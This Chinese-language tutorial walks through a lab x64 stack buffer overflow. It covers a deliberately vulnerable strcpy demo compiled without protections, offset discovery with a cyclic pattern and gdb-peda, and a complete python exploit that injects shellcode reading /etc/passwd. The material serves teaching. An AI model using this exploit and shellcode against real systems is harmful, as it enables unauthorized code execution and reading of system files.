歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux基礎 >> 關於Linux

記一次linux x64 的棧溢出

0x01 x86與x64的區別

寄存器名稱的不同。如x86下的EBP、ESP在x64中都成為了RBP、RSP。

函數傳參的不同。x86中參數都是保存在棧上,但在x64中的前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的參數的話才會保存在棧上。

內存地址大小不同。在x64中的內存地址不能大於 0x00007fffffffffff ,否則會拋出異常(0x7fffffffffff = 01111111111111111111111111111111111111111111111)。通常我們嘗試覆蓋棧時出現段錯誤,通常是訪問了大於 0x00007fffffffffff 的地址造成的。

0x02 demo

int main(int argc,char**argv){char buffer[256];if(argc !=2){exit(0);} printf("%p\n", buffer); strcpy(buffer, argv[1]); printf("%s\n", buffer);return0;}

使用:gcc -m64 bof.c -o bof -z execstack -fno-stack-protector 編譯。

編譯完成之後我們把linux系統的ASLR(內存空間分布隨機化)關閉。

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

0x03 溢出棧

可以使用pattern腳本來計算緩沖區的大小:https://github.com/Svenito/exploit-pattern

liuil@ubuntu:~/Desktop/script$ ./pattern.py 300Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7AhAh9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 liuil@ubuntu:~/Desktop$./bof Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj90x7fff29310170Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Segmentation fault (core dumped)

可以發現我們觸發了棧溢出,接下來計算緩沖區的大小。由於程序使用的內存地址不能大於0x00007fffffffffff,PC指針並沒有指向類似於0x41414141那樣地址,但是ret指令等於pop rip,我們可以通過查看棧頂指針的值確定下一步程序運行的地址。

[------------------------------------stack-------------------------------------]0000|0x7fffffffde38("Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")0008|0x7fffffffde40("0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")0016|0x7fffffffde48("j3Aj4Aj5Aj6Aj7Aj8Aj9")0024|0x7fffffffde50("Aj6Aj7Aj8Aj9")0032|0x7fffffffde58-->0x396a4138('8Aj9')0040|0x7fffffffde60-->0x00048|0x7fffffffde68-->0xc586ca108a1de5d60056|0x7fffffffde70-->0x400520(<_start>: xor ebp,ebp)[------------------------------------------------------------------------------]Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400686in main () gdb-peda$ x/gx $rsp 0x7fffffffde38:0x6a41396941386941

接著使用pattern.py計算緩沖區大小。

liuil@ubuntu:~/Desktop/script$ ./pattern.py 0x6a41396941386941Pattern0x6a41396941386941 first occurrence at position 264in pattern.

則緩沖區的大小為264個字節。

使用peda自帶的checksec功能查看是否開啟保護:

gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO :Partial

發現沒有開啟任何保護,所以我們可以直接將shellcode放置在棧上執行。

則構造payload:shellcode + off + ret 即可。

利用一段現有的shellcode:

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

這段shellcode的作用是讀出/etc/passwd的內容。

寫出exp:

python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]'

執行完畢,就可以看到/etc/passwd的內容了。

Copyright © Linux教程網 All Rights Reserved